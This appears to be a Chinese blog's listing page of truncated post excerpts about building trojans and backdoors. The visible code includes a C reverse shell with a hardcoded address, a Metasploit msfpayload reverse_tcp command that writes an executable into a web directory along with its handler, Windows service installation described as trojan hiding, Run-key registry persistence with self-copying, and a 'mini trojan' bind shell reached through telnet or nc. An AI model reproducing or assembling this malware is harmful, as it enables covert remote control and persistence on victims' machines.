摘要：C代码#include //构造socket所需的库#include //定义sockaddr结构int main(){ char *shell[2]; //用于execv调用 int soc,remote; //文件描述符句柄 struct sockaddr_in serv_addr; //保存IP/端口值的结构 serv_addr.sin_addr.s_addr=0x6400A8C0; //将socket的地址设置为所有本地地址 serv_addr.sin_port=0xBBBB; //设置socket的端口48059 serv_addr.sin_f... 阅读全文

摘要：1.生成简单到木马后门root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp O //查看这个payload有什么选项root@bt:/opt/metasploit/msf3# ./msfpayload windows/shell/reverse_tcp LHOST=192.168.0.112 X > /var/www/payload1.exe另一个终端监听msf > use exploit/multi/handlermsf exploit(handler) > set payload wind 阅读全文

摘要：客户端程序代码如下：#pragma comment(lib,"ws2_32.lib")#include<winsock2.h>#include<stdio.h>BOOL InitWinsock();void main(){ SOCKET socket1; InitWinsock(); struct sockaddr_in server; int len=sizeof(server); server.sin_family=AF_INET; server.sin_port=htons(1000); //Server的监听端口为1000 server.si 阅读全文

摘要：这是个基于TCP Socket的例子，流程是WSAStartup()->socket()->bind()-accept()->send()#pragma comment(lib,"ws2_32.lib")#include<winsock2.h>#include<stdio.h>int main(){ SOCKET mysock,tsock; //定义套接字 struct sockaddr_in my_addr; //本地地址信息 struct sockaddr_in their_addr; //连接者地址信息 int sin_siz 阅读全文

摘要：以下代码是VC6的代码对系统服务的创建和删除之类的操作，用于木马隐藏技术。#include<stdio.h>#include<winsock2.h>#pragma comment(lib,"ws2_32.lib")void WINAPI ServiceMain(DWORD,LPTSTR *);void WINAPI ServiceCtrlHandler(DWORD Opcode); //服务控制函数BOOL InstallCmdService();void DelServices();void door();SERVICE_STATUS m_Serv 阅读全文

摘要：下面这段代码是vc++对注册表的一系列操作，还有文件自身的复制功能#include <stdio.h>#include <windows.h>int main(void){ char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; HKEY hkResult; int ret; //打开关键字 ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); ret=RegSetValueEx(hkResult," 阅读全文

摘要：这是个mini木马，要正向连接，通过telnet或nc连接就好。#pragma comment(lib,"ws2_32.lib")#include <winsock2.h>#include <windows.h>#define MasterPort 999 //定义监听端口999main(){ WSADATA WSADa; sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO Startup 阅读全文